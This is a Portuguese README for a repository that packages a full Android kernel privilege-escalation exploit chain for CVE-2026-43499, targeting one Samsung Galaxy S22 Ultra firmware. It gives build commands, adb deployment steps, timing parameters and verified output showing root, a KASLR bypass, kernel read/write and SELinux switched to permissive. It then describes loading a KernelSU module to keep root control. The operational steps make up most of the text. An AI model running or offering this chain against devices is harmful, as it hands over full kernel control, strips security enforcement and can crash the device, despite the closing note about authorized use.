
Cadeia de exploração completa do CVE-2026-43499 para o Samsung Galaxy S22 Ultra (kernel Android 5.10)
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
Este repositório contém uma adaptação específica para o dispositivo do exploit CVE-2026-43499 para o Samsung Galaxy S22 Ultra (SM-S908W).
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
Os offsets e layouts de estruturas neste repositório são específicos do firmware acima. Outros modelos e versões de firmware não são suportados por este perfil de alvo.
Esta adaptação é baseada na implementação do exploit publicada em:
b850d3bddc74c3328d5fbcc0568d21962b55d949Agradecimentos especiais a:
A licença Apache 2.0 upstream é mantida em LICENSE.
b0q / S908WVLS8FYG7 (src/targets/S908WVLS8FYG7/target.h) e os layouts de estruturas do kernel.exp32: coreografia de futex, carimbo de pilha de 32 bits e execução de sched_setattr em um estágio filho de 32 bits embutido (src/exp32/).system_unbound_wq seguro para KDP e atualizado o alvo de enforcement do SELinux em tempo de execução para selinux_state.enforcing./data/local/tmp/cve-2026-43499-root.cve43499-hold após o sucesso,
para que referências pendentes do kernel não possam ser recicladas em objetos slab não relacionados.Defina ANDROID_NDK_HOME para Android NDK r27+ ou um toolchain compatível e execute:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Para compilar para um ambiente QEMU executando o kernel Android com um sistema de arquivos Buildroot:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
Saídas:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
Execute o estágio do exploit para iniciar o daemon root:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Após o sucesso, obtenha um shell root interativo de qualquer lugar no dispositivo:
adb shell "/data/local/tmp/cve-2026-43499-root"
Ou execute comandos root diretamente:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
A execução padrão faz até 16 tentativas independentes. Cada processo filho com
falha encerra antes da próxima tentativa, de modo que seus descritores de arquivo
e alocações de modelagem de heap são liberados em vez de se acumularem dentro de
um único processo de exploit de longa duração.
O atraso base padrão é de 20000 microssegundos e o supervisor percorre a
seguinte sequência duas vezes:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
Substitua o número de tentativas ou o atraso base ao coletar dados de tempo:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Resultado verificado em S908WVLS8FYG7:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
Sessão interativa de shell root:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
O estágio inicial é baseado em condição de corrida. Um filho que encerra com
root=0 é tentado novamente automaticamente. A execução bem-sucedida restaura
ashmem_misc.fops, alterna o SELinux para permissivo e inicia o daemon auxiliar
de root até a próxima reinicialização.
O exploit acima só mantém o root para o boot atual. Para obter um app Manager e
controle no estilo su pelo restante da sessão, carregue o KernelSU-Next como um módulo de kernel de carregamento tardio por meio do auxiliar de root.
Baixe os dois assets de lançamento de v3.3.0-android12-5.10:
KernelSU_Next_v3.3.0-release.apk — aplicativo Managerkernelsu-android12-5.10.ko — módulo de kernel LKMInstale o APK do Manager:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot.Como este é um LKM carregado tardiamente (não uma imagem de boot corrigida), ele não sobrevive a uma reinicialização — você precisará executar o exploit novamente e reexecutar o insmod do módulo toda vez que o dispositivo reiniciar.
[!WARNING] Aviso de Confiabilidade e Kernel Panic: O estágio de corrida é sensível à temporização e atualmente não é confiável — pode falhar ou causar kernel panic na maioria das execuções. Seja paciente, pois boots limpos oferecem uma taxa de sucesso maior. Otimizações futuras podem ser lançadas para melhorar a confiabilidade.
[!TIP] Recomendações de Estabilidade e Taxa de Sucesso:
- Reinicie o Dispositivo: Para a maior taxa de sucesso, reinicie o dispositivo antes de executar o exploit para garantir um estado limpo de slab/heap.
- Feche os Aplicativos em Segundo Plano: Garanta que todos os aplicativos em segundo plano estejam fechados.
- Desbloqueie a Tela e Fique Ocioso: Mantenha o dispositivo desbloqueado e não interaja nem use o telefone enquanto o exploit estiver em execução, pois entrada ativa do usuário/tarefas em segundo plano podem perturbar a temporização e potencialmente desencadear um kernel panic.
Use apenas em dispositivos que você possui ou para os quais tem autorização explícita para testar.